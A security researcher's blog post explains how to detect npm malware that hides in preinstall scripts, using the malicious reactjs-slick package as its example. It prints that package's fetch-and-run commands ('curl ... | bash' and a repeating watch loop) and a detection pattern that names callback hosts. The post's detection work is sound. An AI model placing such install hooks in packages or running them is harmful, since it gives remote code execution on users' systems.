I've spent the past two years or so hunting for malware in open source ecosystems (mostly npm and PyPI, but a bit in the others too). We've found and reported over 20,000 instances in that time, and while we're certainly not the only group to be doing this work, I'm proud of how quickly we're able to detect and report.
In this post, I wanted to share some details about how I discover these and what I do about them. I'm only going to talk about one specific malware type, which is among the most basic. There have been previous write-ups about these, so there's nothing "new" in this post that you can't learn elsewhere.
How Malware Executes
When you install a package from npm, the package has an opportunity to run "preinstall" scripts. These are arbitrary commands, defined in package.json, that run either before, during, or after installation. (There are a few others; check out the docs for more information.)
Since these preinstall scripts can do pretty much anything, they're a simple source for malware. Attackers can exfiltrate data, install other packages, make changes to your system, or anything else that the user running the script would be able to do, including connecting to other network endpoints.
Detecting Preinstall Malware
The simplest way to detect this type of malware is to look for it in package.json files. You can download the package (being careful not to install it -- oss-download can be helpful here) and then use jq
or another command to search for commands in the file.
Case Study: pkg:npm/reactjs-slick
For this post, we're going to explore the reactjs-slick module, which was posted a few hours ago.
# oss-download -e pkg:npm/reactjs-slick
____ _____ _____ _____ _ _
/ __ \ / ____/ ____| / ____| | | | |
| | | | (___| (___ | | __ __ _ __| | __ _ ___| |_
| | | |\___ \\___ \ | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
| |__| |____) |___) | | |__| | (_| | (_| | (_| | __/ |_
\____/|_____/_____/ \_____|\__,_|\__,_|\__, |\___|\__|
__/ |
|___/
OSS Gadget - oss-download 0.1.357+c946c93324 - github.com/Microsoft/OSSGadget
INFO - Downloaded pkg:npm/reactjs-slick to /tmp/t/npm-reactjs-slick@2.0.2
# find . -name package.json | xargs jq .scripts.preinstall
"curl https://d621fdf07c471f049aba6ce202295bea.m.pipedream.net | bash"
So here, we're seeing that when the reactjs-slick
module is installed, the curl
command is used to download a command from that long URL and pass it to bash
.
This is effectively a reverse shell, allowing the attacker to run arbitrary commands on your system.
If we load that URL (being very careful), we see it ends up running this command:
watch -n 10 'curl https://3513c0f0392eb1c8690450709ee37093.m.pipedream.net | bash'; node index.js;
So every 10 seconds, that other URL is loaded and executed:
touch /tmp/redparsecdhackediwasheredone
OSS Gadget: oss-detect-backdoor
My team and I packaged up a bunch of suspicious patterns into a tool, part of the OSS Gadget suite. You can use this to automatically download and scan for interesting patterns. In this case of the reactjs-slick module, we detect it easily:
# oss-detect-backdoor pkg:npm/reactjs-slick
____ _____ _____ _____ _ _
/ __ \ / ____/ ____| / ____| | | | |
| | | | (___| (___ | | __ __ _ __| | __ _ ___| |_
| | | |\___ \\___ \ | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
| |__| |____) |___) | | |__| | (_| | (_| | (_| | __/ |_
\____/|_____/_____/ \_____|\__,_|\__,_|\__, |\___|\__|
__/ |
|___/
OSS Gadget - oss-detect-backdoor 0.1.365+570ffa6632 - github.com/Microsoft/OSSGadget
--[ Match #1 of 7 ]--
Rule Id: BD001002
Tag: Security.DependencyConfusion.AttackPattern.SuspiciousHostname
Severity: Critical, Confidence: High
Filename: /npm-reactjs-slick@2.0/package/index.js
Pattern: .{1,45}\.(pipedream\.net|ceye\.io|burpcollaborator\.net|interact\.sh|requestbin\.net|nmnfbb\.com)
| });
|
| var options = {
| hostname: "d621fdf07c471f049aba6ce202295bea.m.pipedream.net", //replace burpcollaborator.net wit
| port: 443,
| path: "/",
| method: "POST",
|
Attacker or Security Researcher?
In many cases, the "attacker" is a security researcher, doing this either as part of a penetration test or to demonstrate an attack's effectiveness.
In this case, the module was published by someone with a few others, that all appear to be similar ("r3dpars3c was doing pentest here").
Of course, nothing stops an actual attacker from writing the same thing, so I don't differentiate between what I believe to be a real attack and a simulated one.
Reporting the Module
We can easily report these types of modules. Within npm, you can click on the "Report malware" button on the right side of the module's page.
In this particular case, the author's other packages had similar malware, so we reported all four to the npm security team, and all have since been removed from the registry.
Top comments (0)